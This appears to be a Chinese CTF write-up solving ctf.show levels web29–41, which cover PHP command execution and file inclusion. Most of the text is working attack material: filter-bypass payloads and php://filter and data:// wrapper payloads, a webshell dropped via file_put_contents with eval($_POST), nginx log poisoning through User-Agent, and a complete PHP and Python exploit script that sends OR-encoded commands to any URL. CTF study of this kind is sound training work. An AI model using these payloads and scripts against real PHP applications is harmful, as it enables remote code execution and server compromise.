web29-41命令执行篇(一)

web29

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

很简单的一道题。?c=system("ls");查看一下发现flag.php就在当前目录下,因为过滤了flag字节,所以直接用f*代替就行
payload:?c=system("cat f*");
flag在源代码中。

其他解法

  • 除此之外,我们可以将文件复制一份修改为其他名字。

payload:?c=system("cp f* a.txt");
然后直接访问或者cat访问都可以获得flag。

  • 或者使用tac从后往前输出内容
    c=system("tac f*");
    image.png

  • 除了使用system函数执行,也可以使用内敛执行:echo 命令 比如`c=echo `tac f*

  • 看了wp发现还有几种解法比如:利用参数输入+eval/include

    1
    2
    3
    ?c=eval($_GET[1]);&1=system("ls%20/");

    ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 或者上传木马:file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);

  • hint中使用了另一种命令和绕过:nl fl''ag.php

注意

cat打开后php文件不会显示在页面上,因此需要f12查看源代码。

web30

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

upload:?c=echo tac f*;

web31

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

空格过滤常用以下方法绕过:

1
2
3
4
5
6
7
8
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt //9改成其他数字也行
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}
cat%09flag.txt
cat%20flag.txt //这个这里好像不行

payload:?c=echo%09tac%09f*;

web32

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
image.png

其他方法

https://ctf.show/writeups/865962

初次之外,wp中还有一种在log中注入木马的方式。在User-Agent
中写入木马<?php phpinfo();?>,在c中传入能正常访问的值,我们根据请求头可以判断出是nginx服务器,服务器的默认日志地址为:/var/log/nginx/access.log ,再加上这里的include的字段,我们可以得到以下payload:?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log,日志页面中出现phpinfo()页面,插入木马成功。

web33

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了数字,把1改为a就能接着用。
upload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37 data伪协议文件名base64

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

这回直接给你include,文件包含,不让出现flag字段,上来先想到data伪协议。
upload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
其中PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+是:<?php system("tac flag.php");>
image.png

复习一下data伪协议的用法:

1
2
3
4
5
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

web38

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

继续使用上一题upload即可:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+

web39

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

upload:?c=data://text/plain,<?php system("tac f*");?>//
题目在include后面强加了.php我们只需要在语句中添加//注释掉末尾的字段即可。
但事实上,这道题不用管也可以,去掉//也是没问题的:
image.png

web40 禁止套娃(有·东西)

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

fuzz查看pregmatch剩余字符

先fuzz一下剩下了哪些常用字符:(他看着过滤了括号,但实际上是中文里的括号。。。)

1
2
3
4
5
6
7
<?php
for($i = 33; $i <= 126; $i++){
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", chr($i))){
echo chr($i);
}
}
?>

image.png
看到结果思考了半天没有想法,看了看wp学到了新姿势:

套娃解法

https://ctf.show/writeups/1002659
https://blog.csdn.net/weixin_46250265/article/details/114266578
https://www.cnblogs.com/aninock/p/15125215.html

方法一

来自题目下方的hint:
upload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
分析一下是什么意思,先解释一下其中的各个函数都是什么意思。

1
2
3
4
5
6
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出

var_dump一下localeconv()函数,第一个对应的值是.
image.png
构造payload。首先是我们要输出列表下的所有文件:
print_r(scandir('.'));但是其中的点和单引号已经被过滤掉了,因此我们需要绕过一下,这就需要用到上面这个函数了(通过函数传参来获得)。所以想使用localeconv()["decimal_point"]来获取到.但是双引号已经被过滤了。
这里有三个函数能够起到替代作用。

1
2
3
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

测试一下:
image.png
这时候payload已经初具规模了。
image.png
所以我们可以利用这段payload获取到当前文件夹的信息:
?c=var_dump(scandir(pos(localeconv())));
image.png
当然这次是flag文件就在当前文件夹,如果不在当前文件夹需要使用:_var_dump(scandir('../../'));_
接下来的思路就是想办法获取到文件。我们可以使用highlight_file()函数(或者使用show_source())来查看文件。然后就是索引,我们可以使用next、end函数等,以下为相关的方法。

1
2
3
4
5
6
7
8
9
10
11
current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

但是flag文件不在头尾,所以我们可以使用array_reverse函数来倒转然后通过next函数来获取到文件。
至此payload就可以构建了:c=show_source(next(array_reverse(scandir(pos(localeconv())))));

补充

当然不可能只有这几个函数恰好能够满足条件。
比如说其中的pos函数可以被current、reset函数替换。
show_resource函数可以使用high_light函数来替换。
pos(localeconv())的组合函数也可以被getcwd函数替换掉。(getcwd函数会返回当前所在文件夹)。

方法二利用sessionid(好像不行)

利用sessionid来传参,但似乎传参也会被过滤,所以对这道题来说好像不太行…
upload:?c=session_start();system(session_id());,cookie修改为:PHPSESSID=ls
image.png

方法三

首先是payload:?c=eval(array_pop(next(get_defined_vars())));除此之外需要用post传入1=system('tac fl*');
image.png
分析,先讲述一下各个函数的作用:

1
2
3
4
5
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

image.png
payload的含义就是在post中寻找到对应木马,并运行。、

总结

这题真的有点东西,思路简单容易理解,但是难在如何找到返回这些需要参数的函数。

web41

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

查看一下剩余字符:
image.png
把字符都过滤掉了,觉得应该是用什么方法来替代字符,但是之后就没有思路了。

wp

https://blog.csdn.net/miuzzx/article/details/108569080

看了wp,发现想法没问题。
题目中特意提到了,上来先考虑的是:异或自增和取反构造字符都无法使用,但是留下了|
wp提供了两个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

如果没有将php写入环境变量,就需要先运行rce_or.php生成文本,将文本置于与exp.py相同目录下,运行exp.py
使用方法:

1
python exp.py 你的对应url

然后分贝在function参数和command参数添加你需要的参数。
比如system和ls。
image.png

总结

这部分题前面做着还算简单,直到40、41直接来了一个毁灭性打击。难度和前面的根本不是一个量级的。